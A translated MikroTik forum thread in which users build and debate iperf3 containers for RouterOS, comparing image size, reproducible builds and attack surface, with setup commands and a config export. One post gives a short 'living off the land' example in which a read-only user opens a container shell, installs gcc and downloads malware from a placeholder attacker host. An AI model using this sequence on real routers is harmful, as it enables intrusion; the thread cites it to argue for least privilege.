Информация
Услуги
  • Внедрение
  • Настройка
  • Поддержка
  • Ремонт
Контакты
Новинка
Распродажа
Новости
Доставка
Оплата
Загрузки
  • Прошивки
    • WinBox
    • RouterOS
    • Мобильные приложения MikroTik
    • Архив
  • RouterOS
  • Мобильные приложения MikroTik
  • Архив
Форум
Настройка
    info@mikrotik.moscow
    +7 495 320-55-52
    Заказать звонок
    Mikrotik.moscow
    Каталог
    • Акции
      Акции
    • Маршрутизаторы
      Маршрутизаторы
    • Коммутаторы
      Коммутаторы
    • Радиомосты и уличные точки доступа
      Радиомосты и уличные точки доступа
    • Wi-Fi для дома и офиса
      Wi-Fi для дома и офиса
    • LTE/5G
      LTE/5G
    • Powerline адаптеры
      Powerline адаптеры
    • IoT устройства
      IoT устройства
    • Оборудование 60 ГГц
      Оборудование 60 ГГц
    • Материнские платы RouterBOARD
      Материнские платы RouterBOARD
    • Корпуса
      Корпуса
    • Интерфейсы
      Интерфейсы
    • SFP/QSFP трансиверы
      SFP/QSFP трансиверы
    • Аксессуары
      Аксессуары
    • Антенны
      Антенны
    • Архив
      Архив
    Войти
    0 Сравнение
    0 Избранное
    0 Корзина
    Скачать WinBox Скачать Прошивки Форум > RouterOS Форум > SwOS Форум > Железо
    Mikrotik.moscow
    Каталог
    Войти
    0 Сравнение
    0 Избранное
    0 Корзина
    Mikrotik.moscow
    Телефоны
    +7 495 320-55-52
    Заказать звонок
    0
    0
    0
    Mikrotik.moscow
    • +7 495 320-55-52
      • Назад
      • Телефоны
      • +7 495 320-55-52
      • Заказать звонок
    • info@mikrotik.moscow
    • г. Москва, ул. Бакунинская, 84
    • Пн-Пт: 09-00 до 18-00
      Сб-Вс: выходной


    • Кабинет
    • 0 Сравнение
    • 0 Избранное
    • 0 Корзина
    Главная
    Форум
    Форум
    RouterOS
    Маленький контейнер iperf3

    Маленький контейнер iperf3

    Форумы: RouterOS, Аппаратное обеспечение, SwOS, Обратная связь, Объявления, Сторонние инструменты
    Поиск  Пользователи  Правила  Войти
    Страницы: 1
    RSS
    Маленький контейнер iperf3, RouterOS
     
    tangent
    Guest
    #1
    0
    03.04.2023 01:30:00
    Я занялся созданием самого маленького iperf3 контейнера для RouterOS. Для меня это развлечение на выходных. Что тут скажешь — я настоящий ботан. То, что у меня есть на данный момент, лежит здесь. Если у тебя есть около 0,2 мегабайта свободного места на роутере, попробуй запустить. У меня получается скорость теста 3,4 Гбит/с на RB4011 под управлением ROS 7.12rc5.
     
     
     
    elico
    Guest
    #2
    0
    09.11.2023 02:25:00
    Проверьте последнюю версию alpine 3.18 с iperf3: https://hub.docker.com/r/elicro/iperf3-server. Далее тест с компьютера на Windows через соединение между HAP ax2 и HAP ac2, который хостит iperf3-server. Для меня выглядит вполне прилично.  
    PS C:\Users\Administrator\Software\iperf-3.1.3-win64> .\iperf3.exe -c 172.21.0.52  
    Подключение к хосту 172.21.0.52, порт 5201  
    [ 4] локальный 192.168.206.15 порт 58116 подключен к 172.21.0.52 порт 5201
    [ ID] Интервал Передано Пропускная способность
    [ 4] 0.00-1.00 сек 20.8 Мбайт 174 Мбит/с
    [ 4] 1.00-2.00 сек 25.8 Мбайт 216 Мбит/с
    [ 4] 2.00-3.00 сек 26.9 Мбайт 226 Мбит/с
    [ 4] 3.00-4.00 сек 25.0 Мбайт 210 Мбит/с
    [ 4] 4.00-5.00 сек 26.2 Мбайт 220 Мбит/с
    [ 4] 5.00-6.00 сек 27.8 Мбайт 233 Мбит/с
    [ 4] 6.00-7.00 сек 25.4 Мбайт 213 Мбит/с
    [ 4] 7.00-8.00 сек 21.5 Мбайт 180 Мбит/с
    [ 4] 8.00-9.00 сек 25.6 Мбайт 215 Мбит/с
    [ 4] 9.00-10.00 сек 27.5 Мбайт 231 Мбит/с
    - - - - - - - - - - - - - - - - - - - - - - - - -  
    [ ID] Интервал Передано Пропускная способность
    [ 4] 0.00-10.00 сек 252 Мбайт 212 Мбит/с отправитель
    [ 4] 0.00-10.00 сек 252 Мбайт 212 Мбит/с получатель

    iperf завершён. Страница загрузки iperf3 для Windows: https://iperf.fr/iperf-download.php#windows  

    Инструкции по установке:  
    /interface/bridge/add name=dockers  
    /ip/address/add address=172.21.0.254/24 interface=dockers  
    /interface/veth/add name=veth52 address=172.21.0.52/24 gateway=172.21.0.254  
    /interface/veth/set veth52 address=172.21.0.52/24  
    /interface/bridge/port add bridge=dockers interface=veth52  
    /container/config/set registry-url=https://registry-1.docker.io tmpdir=usb1-part1/pull  
    /container/envs/add name=ipserf3_server_envs key=TZ value="Asia/Jerusalem"  
    /container/envs/add name=ipserf3_server_envs key=IP value="172.21.0.52"  

    /container/add dns=172.21.0.254 remote-image=elicro/iperf3-server interface=veth52 root-dir=usb1-part1/iperf3_server envlist=ipserf3_server_envs start-on-boot=yes
     
     
     
    tangent
    Guest
    #3
    0
    09.11.2023 11:50:00
    Мой контейнер использует текущий релиз iperf3 с 16 сентября. С тех пор я обновлял его дважды. У вас он построен на Alpine 3.18.4, который всё ещё поставляет iperf3 версии 3.14, то есть на одну версию отстаёт от последней. Сейчас, чтобы получить iperf 3.15, нужно либо собирать с alpine:edge, либо собирать из исходников — мой контейнер делает и то, и другое. Если оставлять слой Alpine в финальном образе контейнера вместо того, чтобы сделать полностью статический бинарник, то внутри работающего контейнера окажется полный Linux userland с полноценным менеджером пакетов, подключённым к вашей сети, что потенциально увеличивает поверхность атаки до бесконечности, не говоря уже о раздувании размера:  
    $ docker image ls  
    REPOSITORY             TAG               IMAGE ID       CREATED          SIZE  
    tangentsoft/iperf3     latest            fdf4574c8ceb   6 seconds ago    393kB  
    elicro/iperf3-server   latest            3374057abc08   34 seconds ago   15.9MB  

    Ваш контейнер даже не распакуется на 16 МБ флеш-устройствах типа CRS328, не говоря уже об установке и запуске. Мой — раскроется без проблем. Как будто всего этого мало, чтобы не использовать этот новый контейнер, вы вообще не задокументировали, как он собран. У меня всё полностью задокументировано и воспроизводимо, что позволяет сетевым инженерам проверить его работу на безопасность и пригодность перед вводом в эксплуатацию.
     
     
     
    elico
    Guest
    #4
    0
    11.11.2023 09:05:00
    Привет, Tangent! Я не хочу говорить, что ты неправ. Всё зависит от конкретного случая. Твой контейнер сделан максимально маленьким и для узкоспециализированных задач. Контейнер, который я создал, — это общее готовое к использованию ПО в контейнере. Я не стремлюсь использовать последнюю версию iperf, так как опираюсь на дистрибутив Alpine.

    Мой контейнер написан так, чтобы им мог пользоваться кто угодно. Для тех, кто хочет или нуждается, можно посмотреть содержимое контейнера и проверить, устраивает ли он вас. Если нужны исходники, то просто apk add iperf3 — и всё. Если это вызывает у вас сложности, то ситуация не самая простая. Исходники можно посмотреть прямо в образе и в описании на Docker Hub.

    Следующая команда покажет внутренности, и если чего-то не хватает, вы всегда можете запустить контейнер внутри виртуальной машины и проверить содержимое файла “start-server.sh”…

    # docker history --no-trunc elicro/iperf3-server  
    IMAGE                                                                     CREATED       CREATED BY  
                                   SIZE      COMMENT  
    sha256:6a35302d2125aeffa846810a94e7776b90cd8f9724224f0f1c8abcfc5ffb­e13f   2 дня назад  CMD ["/start-server.sh"]
                                   0B        buildkit.dockerfile.v0  
    <missing>                                                                 2 дня назад  EXPOSE map[5201/tcp:{} 5201/udp:{}]
                                   0B        buildkit.dockerfile.v0  
    <missing>                                                                 2 дня назад  RUN /bin/sh -c chmod +x /start-server.sh # buildkit  
                                   21B       buildkit.dockerfile.v0  
    <missing>                                                                 2 дня назад  COPY start-server.sh /start-server.sh # buildkit  
                                   21B       buildkit.dockerfile.v0  
    <missing>                                                                 2 дня назад  WORKDIR /  
                                   0B        buildkit.dockerfile.v0  
    <missing>                                                                 2 дня назад  RUN /bin/sh -c apk add --no-cache iperf3 # buildkit  
                                   213kB     buildkit.dockerfile.v0  
    <missing>                                                                 4 дня назад  RUN /bin/sh -c echo OK && apk update # buildkit  
                                   1.88MB    buildkit.dockerfile.v0  
    <missing>                                                                 6 недель назад  /bin/sh -c #(nop)  CMD ["/bin/sh"]
                                   0B  
    <missing>                                                                 6 недель назад  /bin/sh -c #(nop) ADD file:756183bba9c7f4593c2b216e98e4208b9163c4c962ea0837ef88bd917609­d001 in /    7.34MB  

    Если собираетесь запускать контейнер, надо понимать риски, а если нет — всегда можно спросить у других здесь или в других местах.  

    Отдельно по поводу поверхности атаки Alpine по сравнению с простым статическим бинарником: если вы так боитесь контейнеров и Alpine, то вам и RouterOS не стоит использовать. Лучше платить большие деньги узконаправленным специалистам, которые будут пытаться вас просвещать по возможным векторами атак в целом мире.  

    Создавая этот контейнер, я вкладываю в него свой уровень доверия к Alpine Linux и iperf. Это бесплатное и открытое ПО для всех, и это не значит, что я обязан публиковать способ сборки образа, чтобы кому-то что-то доказывать.  

    Если администратор не умеет открыть образ контейнера и выполнить базовый анализ на базе Alpine Linux, ему стоит задуматься о приобретении таких знаний и умений.
     
     
     
    jvanhambelgium
    Guest
    #5
    0
    11.11.2023 10:11:00
    Ребята, как специалисты по контейнерам, просветите, пожалуйста, почему контейнер не запускается, если его установить на SMB-шару (на RouterOS через пакет ROSE). Пакет скачивается корректно, контейнер создаётся без проблем, бинарник «iperf» доступен на NAS, который предоставляет SMB-шару в папке «bin», и эта папка создана. Но при нажатии кнопки «Start» в логах ничего не появляется, и контейнер останавливается через секунду...

    Очень хочу понять, что нужно изменить, чтобы контейнер с SMB-шарой, которая постоянно смонтирована на Mikrotik, запустился. Вот немного информации (слои), которые я вижу для образа контейнера «iperf3». Может, мне стоит подправить какие-то файлы и деплоить контейнер из локальных образов, а не тянуть их из репозитория?

    ADD файл … в /

    CMD [“/bin/sh”]

    RUN /bin/sh -c echo OK

    RUN /bin/sh -c apk add

    WORKDIR /

    COPY start-server.sh /start-server.sh # buildkit

    RUN /bin/sh -c chmod +x

    EXPOSE map[5201/tcp:{} 5201/udp:{}]

    CMD [“/start-server.sh”]

    Спасибо!
     
     
     
    tangent
    Guest
    #6
    0
    11.11.2023 11:00:00
    Что ещё должен предоставлять ваш контейнер, кроме «iperf3-server», как обозначено на этикетке? Я думал, что идея именно в том, чтобы предоставить сервер iperf3. Мой так и делает. Как вы можете видеть из Dockerfile моего контейнера, я не вырезал из бинарника iperf3 никаких функций, превращающих его в что-то пригодное только для «специфических редких случаев». Мой контейнер соответствует заявленной на этикетке спецификации и не делает ничего лишнего.

    Контейнер, который я создал — это обычное готовое к использованию программное обеспечение в упаковке контейнера. Ваша альтернатива хуже по всем значимым параметрам: она бессмысленно больше, настроена менее безопасно и содержит более старую версию, хотя вы утверждаете, что это «последняя». Это было бы приемлемо, если бы ваш контейнер был единственным доступным вариантом, но вместо этого вы «угнали» тему, предлагая худший вариант вместо лучшего. К чему это полезно?

    Я не пытаюсь использовать последнюю версию iperf, потому что полагаюсь на дистрибутив Alpine. Вы можете получить последнюю версию iperf3 на Alpine без компиляции из исходников, указав «FROM alpine:edge». Вы можете посмотреть содержимое контейнера и решить, устраивает ли вас.

    Комментарии к слоям образа на Docker Hub могут быть неполными, вводящими в заблуждение или даже ошибочными. Только наличие исходников позволяет надёжно воспроизвести сборку. Вот, например, первая строка в описании моего образа tangentsoft/iperf3:latest: COPY /src/iperf3 /bin/ # buildkit. Откуда взялся «/src/iperf3»? Какова история этого бинарника? Как он был собран? Это вообще iperf3?

    Только обладая Dockerfile, Makefile и повторив сборку, вы можете убедиться, что контейнер действительно содержит то, что заявляет, абсолютно идентичное бит в бит с вашей локальной сборкой. Это важно, если источники образов не проверены, как в нашем случае, потому что без этого нет оснований доверять поставщику образа. Любой может выложить что угодно на Docker Hub. Лично я нашёл там концептуальное вредоносное ПО, которое висит там годами и до сих пор доступно, несмотря на мои жалобы Docker, Inc. Хотя я склонен считать этот образ продуктом исследователя безопасности, а не злоумышленника, он всё равно размещён под именем популярного софта, что может привести к тому, что кто-то скачает его, думая, что это официальный контейнер, и откроет у себя дыру в сети.

    Кроме того, спецификация OCI позволяет пропускать комментарии к истории слоёв образа или писать там любую ложь. Обратите внимание, что раздел «history» и атрибут «created_by» внутри него — полностью опциональны. Для этого даже не нужно править config.json вручную. Есть готовые инструменты для создания таких фальшивых деклараций, например «buildah build --omit-history». Когда атрибуты created_by присутствуют в config.json, никто не проверяет, насколько они отражают содержимое слоя. Это всего лишь комментарии, а не инструкция сборки.

    Открывать вкладку тегов на Docker Hub и смотреть содержимое образа — можно и вовсе получить ложное представление. Если для простой установки «apk add iperf3» вам нужны исходники — у вас действительно большие проблемы. Почитайте про воспроизводимые сборки и подумайте, изменится ли ваше мнение.

    Если нет — вам не место работать в области, где нужны надёжные SBOM (списки компонентов программного обеспечения). Если вы собираетесь запускать контейнер, вы должны понимать риски. Как понять риски, если нельзя доверять истории образа? Только исходный код даёт такой уровень доверия.

    Я не говорю, что каждый сетевой специалист должен аудитировать свои контейнеры на уровне исходников, но кто-то должен этим заниматься. Отчасти поэтому на Docker Hub есть метки «verified» и «certified OSS» для надёжных контейнеров. Но какие гарантии для контейнеров, сделанных сообществом, как наши, если не исходники?

    Если вы так боитесь контейнеры и Alpine, вам вообще не стоит использовать RouterOS, а лучше... Я опасаюсь это не без причины. Представляю мою концептуальную атаку с переходом по «островам» внутри сети, сделанную за пару минут, только что зарегистрированную как SUP-134088:

    $ ssh admin@myrouter  
    > /container/add remote-image="alpine:latest" interface=veth1 entrypoint="/bin/sleep" cmd="600"  
    > /container/start 0  
    > exit  
    $ ssh readonly@myrouter  
    > /container/shell 0  
    # apk add gcc  
    # wget https://badguy.example.com/horrid/malware.tar.gz

    Теперь обычный пользователь с правами только на чтение в RouterOS может компилировать произвольный код прямо на устройстве и запускать его на вашем маленьком «острове» в ядре сети! Такое нападение называется «жить за счёт системы» (living off the land).

    Если в контейнере кроме исполняемого файла сервиса ничего нет, то эта «земля» в аналогии становится пустыней. И это не единственный способ провала. Если программное обеспечение сегодня надёжно, а завтра в нём обнаружат уязвимость удалённого выполнения кода (RCE), а такое в мире происходит примерно раз в неделю, наличие лишней копии Alpine в контейнере даст атакующему гораздо больше власти, которой у него не было бы без неё.
     
     
     
    elico
    Guest
    #7
    0
    13.11.2023 10:03:00
    Привет, Tangent! Во-первых, спасибо за твоё время и усилия. В форуме есть определение "захвата темы", но сейчас ты пишешь гораздо больше меня и приводишь очень хорошие аргументы. Я бы сказал, что это очень, очень успешное обсуждение по общей теме контейнеров. Не знаю, в какой среде ты работаешь, но есть несколько подходов к вопросу доверия и фактов. Мы обязаны приложить все усилия, чтобы убедиться в доверии к конкретному ПО. И ты прав: в какой-то мере должна быть подпись, которая идентифицирует контейнер в его последнем состоянии. Слои сами по себе не важны, пока последнее состояние проверено и признано доверенным авторитетом.

    Я могу опубликовать AIDE-файл базы данных, который будет использовать SHA256 и гарантировать, что то, что я хотел опубликовать, дойдёт до другой стороны. Однако в интернете и в общем использовании есть базовые ограничения методов доверия. Содержание твоего и моего контейнеров не является секретом, если ты собрал его из исходников и скопировал в другой слой. Единственное, что в твоём случае нужно проверить — это безопасен ли статический бинарник или нет, а это само по себе сложная задача, поскольку он собран самостоятельно и не является широко используемым бинарным файлом (в смысле, что его не распространяют повсеместно, как alpine или другие дистрибутивы).

    У меня есть известные риски, у тебя тоже. Разница лишь в том, сколько усилий нужно приложить, чтобы обеспечить доверие к контейнеру. Например, если я хочу защитить контейнер, первое что делаю — использую FW: блокирую весь исходящий трафик по умолчанию и разрешаю только NEW, ESTABLISHED, RELATED для портов iperf3. Также, если хочешь понять, пытается ли что-то выйти из контейнера, просто отслеживаешь счётчики правил FW. Если счётчик DROP_ALL_OUT увеличивается хоть на 1, это значит, что нужно проверить и протестировать контейнер, а в твоём случае, помимо хэшей файлов внутри, ещё и обратное проектирование статического бинарника.

    Безопасность — это не "отсутствие инструментов сборки", а ограничение возможностей для атаки с помощью этих инструментов. Mikrotik очень хорошо справляется с защитой своих систем, обеспечивает отличные FW, маршрутизацию, коммутацию в ОС и оборудовании, и я смотрю на вещи с оптимизмом касательно доверия к Mikrotik. Конечно, я подготовился и могу ответить на любые твои вопросы, если хочешь, чтобы я добавил подробностей.

    Кстати, ещё раз: это одно из самых крутых обсуждений, что я видел на форуме Mikrotik за последние дни.
     
     
     
    tangent
    Guest
    #8
    0
    13.11.2023 17:43:00
    Контейнеры уже это обеспечивают: image digest, который фактически вытесняет другую технологию, которую ты упомянул — AIDE. Действительно, если сочетать это с идеями воспроизводимых сборок, о которых я писал раньше, digest образов контейнеров позволяет восстановить список digest на одной системе на любой другой, устраняя необходимость полагаться на доверенный центральный орган для хранения неизменного «правильного» набора digest и избегая потенциальной проблемы единой точки отказа (SPoF). Чем меньше набор входных данных и выходных результатов, тем проще добиться воспроизводимой сборки. В моём образе всё, что нужно «зафиксировать», — это версии компилятора и библиотек, а в твоём случае любое изменение в Alpine сделает недействительным хеш, который ты берёшь для итогового результата.

    ...чтобы проверить, безопасен ли статический бинарник или нет, а это не такая уж простая задача, поскольку этот бинарник самособранный и не широко используемый.

    Наоборот, я считаю, что содержимое моего контейнера довольно просто проверить. Его Dockerfile небольшой, и есть всего одна ключевая строка, которую нужно проверить — это загрузка исходников с GitHub. Если ты доверяешь GitHub и считаешь, что там исходники iperf3 не подменены, то на этом всё. Если нет — можно поменять эту строку на любой другой источник iperf3, которому ты доверяешь.

    Ты упомянул Alpine как источник надёжных бинарников iperf3. Хорошо, вот результат поиска по их базе пакетов для ARMv7-пакета в alpine:edge. Клик по пакету ведёт к тому же репозиторию на GitHub с исходниками. Если копнуть в лог сборки, то выясняется, что они тянут статический tarball, а не используют Git, как это делаю я в своём контейнере. И это тоже нормально. Можно изменить мой контейнер, чтобы подтягивал тот же tarball и собирал из него. Тогда доверие к моему контейнеру будет равно доверию к контейнеру, собранному самим проектом Alpine. Вот в чём ценность публикации полного исходного кода для системы сборки контейнеров.

    Разница только в усилиях, необходимых для обеспечения доверия к контейнеру. Проблема твоего метода в том, что без Dockerfile я не могу воспроизвести твою сборку. Ссылаться на комментарии в истории образа и говорить «Вот так оно собрано» — это ничего не доказывает. Docker Hub не может и не контролирует достоверность этих комментариев. Если бы у меня было достаточно мотивации, я мог бы написать контейнер, где в комментариях для каждого слоя будет строчка из стихотворения, и пусть Bash ещё не умеет исполнять поэзию. Берегись Джаббервока, сын мой!  

    Используй FW... блокируй весь исходящий трафик по умолчанию и разрешай только NEW, ESTABLISHED, RELATED для портов iperf3. Да, можно и так... но тогда контейнер, предназначенный для тестирования скорости сети, будет работать медленнее. Вместо того чтобы пропускать каждый пакет через множество правил файрвола, контролируя, чтобы контейнер ничего не делал, кроме прослушивания порта 5201 по UDP и TCP, я предпочитаю сделать контейнер таким изначально — чтобы он делал ровно это и больше ничего. Тогда мне не нужно добавлять файрвол в контейнер, чтобы блокировать исходящие подключения wget или входящие подключения к случайным botnet-командным серверам, которые могли бы собираться на устройстве с помощью GCC, потому что с моим контейнером этого по определению не случится.

    Это принцип наименьших привилегий в действии. Вместо того чтобы давать контейнеру возможность делать всё, что только можно через «apk add», а потом блокировать всё, кроме одной конкретной вещи, я предпочитаю строить контейнер так, чтобы он мог делать только эту одну вещь и ничего более.
     
     
     
    elico
    Guest
    #9
    0
    14.11.2023 07:46:00
    Привет, Tangent!  
    Смысл опции использовать дистрибутив в том, чтобы самому не заниматься сборкой исходников. За то, чтобы самому собирать, проверять бинарники и передавать их другому человеку или организации, приходится платить цену. Я предпочитаю вкладывать своё время туда, где оно действительно стоит того. Я не работаю с встроенными системами с 16 МБ памяти, а использую внешний USB SSD или USB флешку.  

    Понимаю, что для твоего конкретного случая это важно, но теперь у пользователей есть выбор — два варианта. Думаю, лучше иметь два и больше вариантов, чем один, который тебе самому придётся проверять по частям. Кстати, по твоей логике нам тогда не стоит доверять Mikrotik и их закрытым исходникам…  

    Я могу многое сказать, но уверен, что найдутся случаи, где именно твой способ и сборка принесут пользу. Мы не спорим, что лучше — мы просто предлагаем один и тот же продукт, например iperf3 (как и Mikrotik, Docker и т. д.), но разными способами. В итоге я бы хотел, чтобы ты мог пользоваться нашей работой (всего перечисленного), и считаю, что для HAP ac/ax 3 это было бы полезно.  

    Что касается HAP AX2 — там уже нет USB, и мне кажется, это вынудит меня покупать более дорогой продукт. Было бы здорово, если бы у HAP ax2 тоже был USB — тогда можно было бы взять его вместо RB4011 и почти не терять в производительности. А если уж нужны все преимущества RB4011, то, пожалуйста, MT, добавьте USB-порт в следующую модель? Или, может, L009 — хороший вариант?  

    Кстати, одна правило DROP в таблице RAW и ещё одно в FILTER на RB4011 никак не повлияют на общую производительность устройства. Просто расставьте приоритеты: сначала правила с ESTABLISHED RELATED (с fast track), а все остальные — с более низким приоритетом, и дело в шляпе. Это же RB4011, а не устройство на MIPS…
     
     
     
    normis
    Guest
    #10
    0
    14.11.2023 09:19:00
    Кстати, прежде чем разгонять панику (да, есть объективные причины для волнения, но всё же), вы читали инструкцию по контейнерам? Во-первых, контейнеры не работают с пользователем только для чтения, потому что для их включения требуется физическое нажатие кнопки. Не включайте эту функцию на устройствах с ненадёжными пользователями. Всё просто. И во-вторых, там есть крупные красные предупреждения, которые как раз касаются этих вопросов: https://help.mikrotik.com/docs/display/ROS/Container
     
     
     
    robinjustin
    Guest
    #11
    0
    15.11.2023 13:56:00
    Отлично! Небольшой контейнер с iperf3 может кардинально изменить подход к тестированию сети и настройке производительности. Легковесный формат позволяет легко развернуть и интегрировать его в разные среды. Идеально подходит для быстрой оценки и устранения неполадок. Есть ли у вас какие-то специальные оптимизации или уникальные функции, которые сделали его ещё эффективнее?
     
     
     
    romal76
    Guest
    #12
    0
    02.12.2023 09:37:00
    Скажите, пожалуйста, что я делаю не так? Контейнер запущен, но порт 5201 не открывается, и iperf3 выдает ошибку: невозможно подключиться к серверу — возможно, сервер перестал работать, используется другой порт, проблемы с файрволом и т.д.: Connection refused
     
     
     
    holvoetn
    Guest
    #13
    0
    02.12.2023 10:34:00
    Наверное, это правило файервола. Последняя часть твоего теста об этом и говорит… Экспортируй конфигурацию (без серийного номера, wanip, паролей и прочего). Публикуй между кавычками [__ code] для удобства чтения.
     
     
     
    romal76
    Guest
    #14
    0
    02.12.2023 10:53:00
    # 2023-12-02 13:44:31 by RouterOS 7.12.1  
    # software id =  
    #  
    # model = RB3011UiAS  
    # serial number =  
    /interface bridge  
    add admin-mac=64:D1:54:81:35:E3 auto-mac=no comment=defconf name=bridge  
    add name=containers  
    /interface ethernet  
    set [ find default-name=ether2 ] name=ether2-master
    set [ find default-name=ether6 ] name=ether6-master
    /interface veth  
    add address=192.168.88.2/24 gateway=192.168.88.1 gateway6="" name=veth1  
    /disk  
    set usb1 type=hardware  
    /interface list  
    add comment=defconf name=WAN  
    add comment=defconf name=LAN  
    add exclude=dynamic name=discover  
    /interface wireless security-profiles  
    set [ find default=yes ] supplicant-identity=MikroTik
    /ip pool  
    add name=default-dhcp ranges=192.168.88.10-192.168.88.254  
    /ip dhcp-server  
    add address-pool=default-dhcp interface=bridge lease-time=10m name=defconf  
    /port  
    set 0 name=serial0  
    /snmp community  
    set [ find default=yes ] addresses=0.0.0.0/0
    /zerotier  
    set zt1 comment="ZeroTier Central controller - https://my.zerotier.com/" disabled=yes disabled=yes name=zt1 port=9993  
    /container  
    add interface=veth1 logging=yes start-on-boot=yes workdir=/  
    /container config  
    set registry-url=https://registry-1.docker.io tmpdir=usb1/pull  
    /interface bridge port  
    add bridge=bridge comment=defconf interface=ether2-master  
    add bridge=bridge comment=defconf interface=ether6-master  
    add bridge=bridge comment=defconf hw=no interface=sfp1  
    add bridge=bridge interface=ether3  
    add bridge=bridge interface=ether4  
    add bridge=bridge interface=ether5  
    add bridge=bridge interface=ether7  
    add bridge=bridge interface=ether8  
    add bridge=bridge interface=ether9  
    add bridge=bridge interface=ether10  
    add bridge=bridge interface=veth1  
    /ip neighbor discovery-settings  
    set discover-interface-list=discover  
    /interface list member  
    add comment=defconf interface=bridge list=LAN  
    add comment=defconf interface=ether1 list=WAN  
    add interface=ether2-master list=discover  
    add interface=ether3 list=discover  
    add interface=ether4 list=discover  
    add interface=ether5 list=discover  
    add interface=sfp1 list=discover  
    add interface=ether6-master list=discover  
    add interface=ether7 list=discover  
    add interface=ether8 list=discover  
    add interface=ether9 list=discover  
    add interface=ether10 list=discover  
    add interface=bridge list=discover  
    /ip address  
    add address=192.168.88.1/24 comment=defconf interface=bridge network=192.168.88.0  
    add address=192.168.88.2/24 interface=veth1 network=192.168.88.0  
    /ip dhcp-client  
    add comment=defconf interface=containers  
    /ip dhcp-server network  
    add address=192.168.88.0/24 comment=defconf gateway=192.168.88.1  
    /ip dns  
    set allow-remote-requests=yes  
    /ip dns static  
    add address=192.168.88.1 name=router.lan  
    /ip firewall filter  
    add action=accept chain=input comment="defconf: accept established,related,untracked" connection-state=established,related,untracked  
    add action=drop chain=input comment="defconf: drop invalid" connection-state=invalid  
    add action=accept chain=input comment="defconf: accept ICMP" protocol=icmp  
    add action=drop chain=input comment="defconf: drop all not coming from LAN" disabled=yes in-interface-list=!LAN  
    add action=accept chain=forward comment="defconf: accept in ipsec policy" ipsec-policy=in,ipsec  
    add action=accept chain=forward comment="defconf: accept out ipsec policy" ipsec-policy=out,ipsec  
    add action=fasttrack-connection chain=forward comment="defconf: fasttrack" connection-state=established,related disabled=yes hw-offload=yes  
    add action=accept chain=forward comment="defconf: accept established,related, untracked" connection-state=established,related,untracked  
    add action=drop chain=forward comment="defconf: drop invalid" connection-state=invalid  
    add action=drop chain=forward comment="defconf:  drop all from WAN not DSTNATed" connection-nat-state=!dstnat connection-state=new disabled=yes in-interface-list=WAN  
    /ip firewall nat  
    add action=masquerade chain=srcnat comment="defconf: masquerade" ipsec-policy=out,none out-interface-list=WAN  
    /routing bfd configuration  
    add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5  
    /system clock  
    set time-zone-name=Europe/Moscow  
    /system logging  
    set 0 action=disk  
    set 1 action=disk  
    set 2 action=disk  
    set 3 action=disk  
    /system note  
    set show-at-login=no
     
     
     
    Страницы: 1
    Читают тему
    +7 495 320-55-52
    info@mikrotik.moscow
    Электрозаводская, Бауманская
    Москва, ул. Бакунинская, 84с21
    Конфиденциальность Оферта
    © 2026 «Mikrotik.Moscow»
    Главная Каталог 0 Корзина 0 Избранные Кабинет 0 Сравнение Акции Контакты Услуги Бренды Отзывы Компания Лицензии Документы Реквизиты Поиск Блог Обзоры